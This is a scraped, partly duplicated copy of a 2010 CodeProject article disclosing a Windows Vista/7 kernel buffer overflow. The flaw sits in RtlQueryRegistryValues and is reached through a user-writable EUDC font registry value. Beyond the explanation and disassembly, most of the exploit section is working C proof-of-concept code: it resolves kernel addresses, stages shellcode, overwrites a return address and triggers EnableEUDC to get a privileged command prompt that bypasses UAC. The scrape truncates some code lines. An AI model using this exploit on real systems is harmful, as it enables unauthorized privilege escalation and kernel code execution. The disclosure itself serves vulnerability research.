bypassing uac with user pri

4
7,465,456 members and growing! (21,594 online) Email Password Sign in Join Join Remember me? Lost password? Home Articles Questions & Answers Learning Zones Features Help! The Lounge Search 2 Article Browse Code Stats Revisions (24) » Platforms, Frameworks & Libraries » Vista Security » User Account Control Bypassing UAC with User Privilege under Windows Vista/7 By noobpwnftw | 24 Nov 2010 | Unedited contribution A Design Flaw in Windows Kernel API Leads to Security Breakdown Download poc - 493.22 KB Introduction I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried. Using the code In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack. Collapse Collapse .text:BF81BA91 push esi ; Environment .text:BF81BA92 push esi ; Context .text:BF81BA93 push offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@ .text:BF81BA98 push edi ; Path .text:BF81BA99 lea eax, [ebp+DestinationString] .text:BF81BA9C push esi ; RelativeTo .text:BF81BA9D mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Query .text:BF81BAA3 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags .text:BF81BAAD mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, .text:BF81BAB7 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Entry .text:BF81BABC mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Defau .text:BF81BAC2 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Defau .text:BF81BAC8 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Defau .text:BF81BACE mov dword_BFA198FC, esi .text:BF81BAD4 mov dword_BFA19900, esi .text:BF81BADA mov dword_BFA19904, esi .text:BF81BAE0 call ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryVal .text:BF81BAE6 mov [ebp+var_8], eax Stack trace shows the calling process is as follows: GDI32.EnableEUDC -> NtGdiEnableEudc -> GreEnableEUDC -> sub_BF81B3B4 -> sub_BF81BA0B -> RtlQueryRegistryValues (Overflow occurs) Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC. Collapse Collapse 4.56 / 5, 7 votes Sponsored Links Sponsored Links See Also... Announcements The Daily Insider Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm 1 of 4 2.12.2010 14:13

Upload: teppo-testaaja

Post on 23-Oct-2015

19 views

Category:

Documents


4 download

DESCRIPTION

uac

TRANSCRIPT

7,465,456 members and growing! (21,594 online) Email Password Sign in Join Join Remember me? Lost password?

Home Articles Questions & Answers Learning Zones Features Help! The Lounge Search

2 Article Browse Code Stats Revisions (24)

» Platforms, Frameworks & Libraries » Vista Security » User Account Control

Bypassing UAC with User Privilegeunder Windows Vista/7By noobpwnftw | 24 Nov 2010 | Unedited contribution

A Design Flaw in Windows Kernel API Leads to SecurityBreakdown

Download poc - 493.22 KB

Introduction

I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to bufferoverflows under nearly every version of Microsoft Windows, especially one that can be used as abackdoor to Windows user privilege system as well as User Access Control.

The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registryvalues by a query table, given the EntryContext field as output buffer. There is a problem that thisfield can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by theactual buffer, and this is determined by the type of the registry key being queried.

Using the code

In this example, I found a registry key which can be manipulated with only user rights, by changing itstype to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queriesHKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry valueis REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONGvalue in this structure represents the length of the string buffer, but if the value in registry isREG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites thestack.

CollapseCollapse

.text:BF81BA91 push esi ; Environment

.text:BF81BA92 push esi ; Context

.text:BF81BA93 push offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable

.text:BF81BA98 push edi ; Path

.text:BF81BA99 lea eax, [ebp+DestinationString]

.text:BF81BA9C push esi ; RelativeTo

.text:BF81BA9D mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _

.text:BF81BAA3 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h

.text:BF81BAAD mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemd

.text:BF81BAB7 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax

.text:BF81BABC mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi

.text:BF81BAC2 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi

.text:BF81BAC8 mov ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi

.text:BF81BACE mov dword_BFA198FC, esi

.text:BF81BAD4 mov dword_BFA19900, esi

.text:BF81BADA mov dword_BFA19904, esi

.text:BF81BAE0 call ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)

.text:BF81BAE6 mov [ebp+var_8], eax

Stack trace shows the calling process is as follows:

GDI32.EnableEUDC ->NtGdiEnableEudc ->GreEnableEUDC ->sub_BF81B3B4 ->sub_BF81BA0B ->RtlQueryRegistryValues (Overflow occurs)

Given this we can design the registry value which will precisely overwrite the return address of thecalling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC thebuffer contains a simple kernel PE loader, which will eventually load a driver that will escalate"cmd.exe” process privilege regardless of UAC.

CollapseCollapse

4.56 / 5, 7 votes Sponsored Links

Sponsored Links

See Also...

Announcements

The Daily Insider

Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm

1 of 4 2.12.2010 14:13

// Allocate buffer for the driverLPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));

BYTE* pMem; // shellcodeDWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0}; // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(pMem, Data, sizeof(Data)); // Copy shellcode

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer

ExpSize = 0x28;

The shellcode need some kernel APIs, we need to get their addresses from the running kernel.

CollapseCollapse

// Get the running kernel file nameHMODULE hDll = GetModuleHandle(L"ntdll.dll");pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;ULONG AllocSize = 0;fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, D

//Relocation to the running kernel baseDWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600) { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC"); PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) { if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy) { *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18; break; } } free(pHandleInfo);}else{ FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);}

// Now fills the API addresses neededFixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta)FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit. CollapseCollapse

Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm

2 of 4 2.12.2010 14:13

Article Top Sign Up to vote for this article

UINT codepage = GetACP();TCHAR tmpstr[256];_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get current code pageHKEY hKey;RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey,RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try{ EnableEUDC(TRUE); }__except(1){}RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));RegCloseKey(hKey);

After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.

Points of Interest

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode codeexecution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in mostversions of Windows kernels, yet no patch or documentation is publicly available on this issue.

Additional Information

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, suchas on kernels ealier than 6.1.6000 are not supported, current supported kernels are:Windows Vista/2008 6.1.6000 x32,Windows Vista/2008 6.1.6001 x32,Windows 7 6.2.7600 x32,Windows 7/2008 R2 6.2.7600 x64.Beyond this scope you may contact me for information on how to tune the code to work correctly onyour kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and ofno importance to the exploit, therefore it is not included.

Contact

Me: [email protected]

History

Initial release: 2010.11.24

License

This article, along with any associated source code and files, is licensed under The Code Project OpenLicense (CPOL)

About the Author

noobpwnftw

China

Member

Comments and DiscussionsYou must Sign In to use this message board.

FAQ Search

Noise Tolerance Medium Layout Expand Posts & Replies Per page 10 Update

Msgs 1 to 2 of 2 (Total in Forum: 2) (Refresh) First Prev Next

cacalex 2hrs 15mins ago

Can't wait to play with this...Do you tried to send an email to Microsoft about this ?

Sign In · View Thread · PermaLink

Nice...

Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm

3 of 4 2.12.2010 14:13

PermaLink | Privacy | Terms of Use

Last Updated: 24 Nov 2010

Copyright 2010 by noobpwnftw

Everything else Copyright © CodeProject, 1999-2010

Web22 | Advertise on the Code Project

Kevin Drzycimski 3mins ago

We are working on that issue.

Sign In · View Thread · PermaLink

Last Visit: 19:00 31 Dec '99 Last Update: 9:11 24 Nov '10 1

General News Question Answer Joke Rant Admin

Re: Nice...

Bypassing UAC with User Privilege under Windows Vista/7 - CodeProject http://68.233.235.195/kmax/security-uac.aspx.htm

4 of 4 2.12.2010 14:13